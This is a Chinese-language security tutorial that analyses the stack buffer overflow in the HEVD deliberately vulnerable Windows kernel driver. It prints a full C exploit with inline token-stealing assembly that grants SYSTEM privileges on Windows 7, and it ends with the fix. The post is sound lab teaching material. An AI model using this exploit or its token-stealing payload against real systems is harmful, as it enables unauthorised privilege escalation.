技术干货 | 初探栈溢出

admin 2022年7月5日22:01:06评论10 views字数 7165阅读23分53秒阅读模式

本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!


欢迎各位添加微信号:asj-jacky

加入安世加 交流群 和大佬们一起交流安全技术

0x01 HEVD介绍

HEVD全称为HackSys Ex

treme Vulnerable Drive,是一个项目,故意设计包含多种漏洞的驱动程序,旨在帮助安全爱好者来提升他们在内核层面的漏洞利用能力。

说白了,是一个内核漏洞的靶场。

项目地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

关于安装配置初始环境,建议参考:

https://tttang.com/archive/1332/

https://bbs.pediy.com/thread-218838.htm

这里就不再赘述。

本人能力有限,刚学习过一些内核知识,文章中出现的任何错误欢迎师傅们批评指正。

下面我们直接开始,从栈溢出开始

0x02 栈溢出函数定位

HackSysExtremeVulnerableDriver-3.00DriverHEVDBufferOverflowStack.c文件中。

技术干货 | 初探栈溢出

位于该文件的107行,没有经过校验Size的大小而直接使用函数进行拷贝。

相关漏洞函数为:TriggerBufferOverflowStack

将HEVD.sys文件拖入ida中分析。定位到TriggerBufferOverflowStack函数

技术干货 | 初探栈溢出

可以看到使用了memcpykernelBuffer有拷贝动作,将UserBuffer的值拷贝到kernelBuffer中,拷贝长度为传入的参数Size。

问题在于kernelBuffer的长度是固定的:

技术干货 | 初探栈溢出

一个ULONG类型对应四个字节,那么512*4=2048=800h,这和IDA逆向出来的代码是相同的:

技术干货 | 初探栈溢出

而UserBuffer和Size为传入的参数,并且对Size的大小没有限制,那么倘若Size大小大于800h字节,则会发生栈溢出。

0x03 溢出函数是怎样被调用的

相关调用链

技术干货 | 初探栈溢出

首先是进入到DriverEntry(x,x),然后通过IrpDeviceIoCtlHandler(x,x)根据IoControlCode使用switch函数跳转到BufferOverflowStackIoctlHandler然后进入TriggerBufferOverflowStack进行溢出操作

找到IrpIrpDeviceIoCtlHandler函数

PAGE:00444064 _IrpDeviceIoCtlHandler@8 proc near      ; DATA XREF: DriverEntry(x,x)+87↓o
PAGE:00444064
PAGE:00444064 DeviceObject    = dword ptr  8
PAGE:00444064 Irp             = dword ptr  0Ch
PAGE:00444064
PAGE:00444064                 push    ebp
PAGE:00444065                 mov     ebp, esp
PAGE:00444067                 push    ebx
PAGE:00444068                 push    esi
PAGE:00444069                 push    edi
PAGE:0044406A                 mov     edi, [ebp+Irp]
PAGE:0044406D                 mov     ebx, 0C00000BBh
PAGE:00444072                 mov     eax, [edi+60h]
PAGE:00444075                 test    eax, eax
PAGE:00444077                 jz      loc_4444C5
PAGE:0044407D                 mov     ebx, eax
PAGE:0044407F                 mov     ecx, [ebx+0Ch]
PAGE:00444082                 lea     eax, [ecx-222003h] ; switch 109 cases
PAGE:00444088                 cmp     eax, 6Ch
PAGE:0044408B                 ja      def_444098      ; jumptable 00444098 default case, cases 2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526
PAGE:00444091                 movzx   eax, ds:byte_444554[eax]
PAGE:00444098                 jmp     ds:jpt_444098[eax*4] ; switch jump

这里看的不是很清楚,可以通过IDA F5反编译一下

技术干货 | 初探栈溢出

可以看到只有当IoControlCode为2236419时,才会调用BufferOverflowStackIoctlHandler,继而调用TriggerBufferOverflowStack

0x04 漏洞利用

作为脚本小子,先跑一下写好了的exploit脚本。

打开HackSysEVDExploit.sln文件,直接在vs2019上编译即可。

技术干货 | 初探栈溢出

将生成的HackSysEVDExploit.exe拷贝至win7,执行如下命令

HackSysEVDExploit.exe -c cmd.exe -p

技术干货 | 初探栈溢出

直接可以获取system权限。

那么只跑一下脚本肯定不行,一起分析一下他是如何做到的。

首先,栈溢出了,我们最希望控制的就是EIP,通过栈溢出的漏洞将原来函数返回的地址覆盖为我们自己希望执行代码的地址。那么应该弄清楚一点,返回地址在哪?

可以在ida上找到答案,通过stack窗口可以看到TriggerBufferOverflowStack的堆栈图:

技术干货 | 初探栈溢出

我们可以通过kernelBuffer溢出来覆盖r的值,r相对KernelBuffer的偏移为820h。

所以我们可以申请一块0x824大小的空间,然后将我们要执行函数或者shellcode的地址填入0x820的位置,即可覆盖返回地址。

TriggerBufferOverflowStack执行结束后就会执行我们自己的代码。

这里有一个小问题需要注意,执行完我们自己的代码以后我们需要让程序能够继续正常执行,那么需要做平衡堆栈的动作

技术干货 | 初探栈溢出

最终我们自己编写的exp为:

#include "stdio.h"
#include "windows.h"
#include <stdlib.h>
#include <tchar.h>


VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax; Set ZERO
        mov eax, fs: [eax + 124h] ; Get nt!_KPCR.PcrbData.CurrentThread
        ; _KTHREAD is located at FS : [0x124]

        mov eax, [eax + 50h]; Get nt!_KTHREAD.ApcState.Process  //养父母

        mov ecx, eax; Copy current process _EPROCESS structure

        mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + 0b8h]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, 0b8h
            cmp[eax + 0b4h], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

            mov edx, [eax + 0f8h]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + 0f8h], edx; Replace target process nt!_EPROCESS.Token //替换token为system的token
            ; with SYSTEM process nt!_EPROCESS.Token
            ; End of Token Stealing Stub

            popad; Restore registers state

            ; Kernel Recovery Stub
            xor eax, eax; Set NTSTATUS SUCCEESS
            add esp, 12; Fix the stack
            pop ebp; Restore saved EBP
            ret 8; Return cleanly
    }
}

static VOID Cmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULLNULL, FALSE, CREATE_NEW_CONSOLE, NULLNULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
    char buffer[0x824];
    HANDLE hDevice;
    DWORD bReturn = 0;
    hDevice = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("Failed to get handle...!n");
        return 0;
    }

    memset(buffer, 'A'0x824);
    *(PDWORD)(buffer + 0x820) = (DWORD)&TokenStealingPayloadWin7;


    DeviceIoControl(hDevice, 2236419, buffer, 0x824NULL0, &bReturn, NULL); //IoControlCode要为2236419才会执行BufferOverflowStackIoctlHandler
    Cmd();
    return 0;
}

payload解读

其中TokenStealingPayloadWin7为payload函数。

在ring3,fs:[0]指向TEB,在ring0,fs:[0]指向KPCR。

然后通过KPCR+124h获取CurrentThread,CurrentThread结构体为EThread,EThread的第一个成员KThread+40为APC_STATE结构,其中包含当前线程的“养父母”进程。

技术干货 | 初探栈溢出


技术干货 | 初探栈溢出


技术干货 | 初探栈溢出

EPROCESS+0xb8指向的是一个链表,串着所有进程的信息,我们可以通过遍历这个链表获取pid为4(EPROCESS+0xb4),system进程的EPROCESS信息。

技术干货 | 初探栈溢出

最后将当前进程的token(EPROCESS+0xf8)的值替换为system进程的token的值,让当前进程权限为system。达到权限提升的作用。

技术干货 | 初探栈溢出

最后需要平衡堆栈,以及将返回后的两句代码添上。

技术干货 | 初探栈溢出

其余代码

memset(buffer, 'A'0x824);
*(PDWORD)(buffer + 0x820) = (DWORD)&TokenStealingPayloadWin7;

将相对kernelBuffer偏移0x820字节返回位置进行覆盖,改为我们自己函数的地址。

hDevice = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );

创建设备与驱动通信

DeviceIoControl(hDevice, 2236419, buffer, 0x824NULL0, &bReturn, NULL);

IoControlCode要为2236419才会执行BufferOverflowStackIoctlHandler,这一点我们上面也已经分析过了。

static VOID Cmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULLNULL, FALSE, CREATE_NEW_CONSOLE, NULLNULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

由于当前进程具有system令牌,我们通过当前进程创建的cmd.exe拥有system权限。

最后执行我们自己的exp,成功弹出system权限的cmd。

技术干货 | 初探栈溢出

0x05 修复

Size改为sizeof(KernelBuffer),达到一个限制大小的作用,这一点在SECURE(安全的代码)代码中也有体现。

技术干货 | 初探栈溢出



原文始发于微信公众号(安世加):技术干货 | 初探栈溢出

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月5日22:01:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   技术干货 | 初探栈溢出https://cn-sec.com/archives/1159622.html

发表评论

匿名网友 填写信息